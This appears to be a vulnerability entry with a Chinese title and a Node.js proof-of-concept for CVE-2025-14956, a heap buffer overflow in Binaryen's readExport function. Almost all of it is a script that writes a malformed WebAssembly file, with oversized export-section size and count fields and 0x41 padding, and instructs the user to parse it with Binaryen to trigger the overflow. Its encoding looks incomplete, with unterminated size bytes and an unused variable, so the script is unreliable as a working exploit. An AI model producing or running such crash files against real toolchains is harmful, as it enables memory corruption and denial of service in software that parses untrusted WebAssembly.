CVE-2025-14956 WebAssembly Binaryen readExport函数堆缓冲区溢出漏洞

// CVE-2025-14956 PoC - WebAssembly Binaryen heap buffer overflow in readExport // This PoC generates a malicious WebAssembly binary that triggers the vulnerability const fs = require('fs'); // WebAssembly magic number and version const wasmHeader = Buffer.from([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00]); // Custom section to trigger buffer overflow in readExport function createMaliciousExportSection() { const section = Buffer.alloc(1024); let offset = 0; // Section ID 7 = Export section section[offset++] = 7; // Section size (will be adjusted) const sizePos = offset; section[offset++] = 0xFF; section[offset++] = 0xFF; section[offset++] = 0xFF; // Number of exports - trigger overflow with large value section[offset++] = 0xFF; section[offset++] = 0xFF; section[offset++] = 0xFF; section[offset++] = 0xFF; // Fill with padding to potentially overflow heap buffer for (let i = offset; i < section.length; i++) { section[i] = 0x41; // arbitrary byte to trigger detection } return section; } // Generate the PoC WASM file const pocWasm = Buffer.concat([ wasmHeader, createMaliciousExportSection() ]); fs.writeFileSync('CVE-2025-14956-poc.wasm', pocWasm); console.log('PoC file generated: CVE-2025-14956-poc.wasm'); console.log('Use Binaryen tools to parse this file and trigger the vulnerability');